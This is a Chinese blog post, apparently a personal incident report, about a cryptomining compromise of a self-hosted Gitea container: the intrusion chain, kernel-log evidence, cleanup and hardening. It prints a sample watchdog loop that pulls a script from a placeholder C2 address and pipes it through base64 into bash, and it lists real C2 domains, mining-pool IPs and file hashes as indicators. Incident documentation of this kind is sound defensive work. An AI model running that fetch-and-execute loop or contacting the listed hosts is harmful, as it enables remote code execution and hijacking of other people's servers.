慕雪的小助手正在绞尽脑汁···
慕雪小助手的总结
DeepSeek & LongCat
本文部分内容由 AI 辅助生成,请结合实际情况判断参考。

腾讯云云镜突然报挖矿,我顺着 Gitea 容器把这次攻击链和处置过程梳理了一遍。

8月11日凌晨,我收到了腾讯云安全(云镜)的告警:服务器上出现了疑似挖矿软件,还访问了一个恶意域名,进程名字甚至伪装成了 systemd-resolved

第一反应当然是:我的服务器是不是被打穿了?

当时的我是真的有点慌,毕竟这台机器上跑着 Gitea,还有不少自己的仓库和配置。好在顺着进程、容器和文件挂载关系查下来,暂时没有发现宿主机被持久化或者逃逸的证据,实际受影响的范围主要是 Gitea 容器。

不过,容器没逃逸不等于这件事不严重。容器里能读到的仓库数据、挂载目录和密钥,依然可能已经暴露,所以该换的密钥一个都不能省。

1. 攻击链是怎么走进来的

1.1. Gitea 成了入口

这次使用的是比较老的 Gitea 1.21.11,而且当时还开放了用户注册,Web 端口也直接暴露在公网。

从 Gitea 的记录里可以看到,攻击者在 8 月 2 日和 8 月 9 日分批注册了几个账号,随后创建了一个看起来像随机字符串的仓库,并往仓库里放入了恶意 Git hook。

这个 hook 会在仓库操作后被触发,随后从远端拉取脚本执行。它运行在容器内的 git 用户下,UID 是 1002。也就是说,攻击者首先拿到的是 Gitea 容器里的代码执行能力,而不是直接拿到了宿主机的 root 权限。

这里最容易误判:入口是 Gitea,落点是容器,二者不能混为一谈。但如果容器挂载了宿主机目录,或者里面放着 SSH 私钥和 API Key,容器权限不高也足够让人难受了。

1.2. 木马不是一个文件,而是一整套东西

攻击者放进去的不是单独一个挖矿程序,而是一套带下载、挖矿和看门狗功能的文件:

  • unicorn:约 8.3 MB 的静态 ELF 文件,负责挖门罗币(XMR)。
  • config.json:XMRig 配置文件,里面写了多个矿池地址。
  • jobs:每隔 180 秒从 C2 拉取脚本,经过 Base64 解码后交给 shell 执行。
  • CRON:一个 musl ELF 调度组件。
  • supervisord:加壳后的看门狗,用来拉起被杀掉的进程。
  • 1786*:一批用时间戳命名的心跳标记文件,内容基本只是 TEST
  • /tmp/runc-process*:伪装成 runc 的临时文件,云镜每天都能检出,但文件随后会自删除。

jobs 的逻辑大概是下面这样,真实地址我就不放在示例里了:

1
2
3
4
5
while true; do
curl -s "http://C2地址:端口/ok" | base64 -d | bash &
wait $!
sleep 180
done

这就解释了为什么我前面杀掉进程之后,它过一会儿又会回来:挖矿进程负责赚钱,看门狗和 C2 脚本负责让它重新活过来。

1.3. OOM 让问题看起来像普通的服务故障

8 月 7 日到 9 日,unicorn 反复把内存吃满,单次占用大约 1.8 GB,最后被内核的 OOM Killer 杀掉。Gitea 日志里也反复出现 oom-killer

这类现象很容易被当成“服务器内存太小”或者“容器配置有问题”。但如果一个陌生进程被杀后又自己回来,就应该马上去查它的父进程、启动项、容器挂载和出站连接,而不是只给服务器加内存。

2. 我是怎么确认影响范围的

2.1. 先看内核日志

内核日志里留下了很直接的证据:

1
2
Aug 08 17:58:52 kernel: task_memcg=/system.slice/docker-b4fe18cdf...scope, task=unicorn, pid=1861040, uid=1002
Aug 08 17:58:52 kernel: Out of memory: Killed process 1861040 (unicorn) total-vm:2435264kB, anon-rss:1800696kB

这里的 task_memcg 明确指向 Docker cgroup,进程 UID 也对应容器内的 git 用户。它说明挖矿程序确实在容器里运行,但不能单凭这一条就断言宿主机绝对安全,所以后面还要继续查持久化和逃逸路径。

2.2. 配置文件把受害者信息也暴露了

XMRig 配置中的 rig-id 直接写出了 CPU 型号、核心数、内存大小、Docker 环境以及容器内网 IP。恶意程序为了方便矿池区分机器,顺手把受害者环境信息也打包带走了。

这次还发现容器里能读取到 Gitea 数据和挂载的 .ssh 目录,因此即使没有宿主机逃逸,也必须把相关私钥、用户密码、访问令牌和 API Key 按照已经泄露来处理。

2.3. 云镜告警和文件指纹能互相对上

云镜检出的恶意文件是 /data/gitea/home/.claude/unicorn,MD5 为 8f4fff0ded94f1141768220906abfbb8,和本地取证样本一致。除此之外,还反复检出了伪装成 runc 的 /tmp/runc-process* 文件。

下面是这次样本里整理出的 IOC。它们只用于记录和排查,别因为好奇直接访问这些地址:

类型
恶意文件 /data/gitea/home/.claude/unicorn
文件 MD5 8f4fff0ded94f1141768220906abfbb82f6d59103f362481400a7658e47b8b5c
C2 域名 joker.aec944b68370194a50.link:6556fokoffkont.anondns.net
矿池地址 95.85.237.226:53535193.41.68.194:5353595.85.237.149:535352.26.99.68:53535
恶意 Gitea 账号 ub081a3e2uc59ad45aue00b9b6afd0c

3. 这次是怎么处置的

3.1. 先取证,再清理

我没有一上来就把文件全部删掉,而是先把 unicornconfig.jsonjobsCRONsupervisord 复制到隔离的取证目录,保留样本和哈希,方便后面确认攻击链。

同时把 Gitea 数据和配置做了完整备份。备份包大约 640 MB,包含 15 个仓库、Gitea 数据库和配置,校验后确认里面没有混入木马文件。

确认备份可用后,才删除了 Gitea 容器以及挂载目录里的 .claudesupervisord 和时间戳标记文件。8 月 11 日 00:24 删除容器后,挖矿进程终于停止,没有再被 restart:always 拉起来。

3.2. 再确认宿主机有没有留下后门

清理完容器后,我又做了一遍全盘和运行状态复核:

  • 磁盘里没有发现木马残留,取证副本除外。
  • 当前没有挖矿进程,也没有异常出站连接和新增监听端口。
  • cron、systemd 服务和 SSH 相关位置没有发现持久化痕迹。
  • 宿主机的 systemd-resolved 二进制和 dpkg 校验结果一致,之前看到的同名进程只是伪装,并不是系统文件被替换。
  • 没有发现异常用户、新系统服务或异常计划任务。
  • Docker 容器没有挂载 docker.sock,暂时没有发现从容器逃逸到宿主机的路径。

所以这次可以确认:当前发现的受影响范围主要是 Gitea 容器,宿主机暂时没有沦陷证据。但“暂时没有证据”不等于“可以不用换密钥”,这两个结论要分开看。

4. 接下来必须补上的安全措施

4.1. 凭据全部按泄露处理

容器进程能读到的私钥和配置都不能再继续使用:

  • 重新生成并替换 git 用户的 SSH 私钥。
  • 立即重置配置文件中的 DeepSeek API Key,正文不展示任何真实密钥。
  • Ubuntu 的 SSH 密钥如果有任何一把无法确认来源,就清空 authorized_keys 后重新添加。
  • 重建 Gitea 时,所有用户密码、访问令牌和 LFS 密钥全部重置。
  • 恢复仓库前删除攻击者账号和对应仓库,只恢复确认过的个人数据。

4.2. 把公网暴露面收回来

重建 Gitea 时应该直接使用最新版镜像,关闭开放注册,设置强密码,并且不要再把 .ssh 目录直接挂进容器。Gitea 的 SSH 服务只绑定本机,外部访问统一走反向代理。

腾讯云安全组只保留 22、80 和 443 等确实需要的端口,其他服务先绑定到 127.0.0.1,再通过 OpenResty 反代出去。1Panel 管理端口也要加本机 IP 白名单,SSH 再配上 fail2ban。

这里还有一个很容易忽略的坑:Docker 发布的端口可能绕过主机上的 ufw 规则,所以安全组必须作为最后一道防线,不能只盯着服务器内部的防火墙。

4.3. 把监控补起来

后面需要给 CPU 长时间满载、新增监听端口和异常出站连接配置告警,并把这次的 IOC 提交到腾讯云工单或威胁情报平台。

另外,restart:always 平时确实很方便,但发生安全事件时也会让恶意进程在重启后自动复活。以后处理容器异常时,不能只执行“重启一下试试”,要连同挂载目录、启动策略和宿主机进程一起检查。

5. The end

这次最吓人的不是挖矿本身,而是我以前把“容器”和“安全边界”想得太简单了。容器没有逃逸,确实帮我把损失限制在了 Gitea 服务里;但只要里面放了 SSH 私钥、API Key 和仓库数据,攻击者照样可以顺着这些东西继续往外摸。

现在回头看,开放注册、老版本 Gitea、公网暴露端口、挂载 .ssh,每一项单独看都像是“先这样跑着”,组合起来就给攻击者铺好了路。

这次算是把该补的课一次性补上了:先取证,再清理;先换密钥,再恢复服务;最后把不该暴露在公网的端口全部收回来。服务器能跑起来不代表安全,能经得起一次完整排查才算真的搞定。😥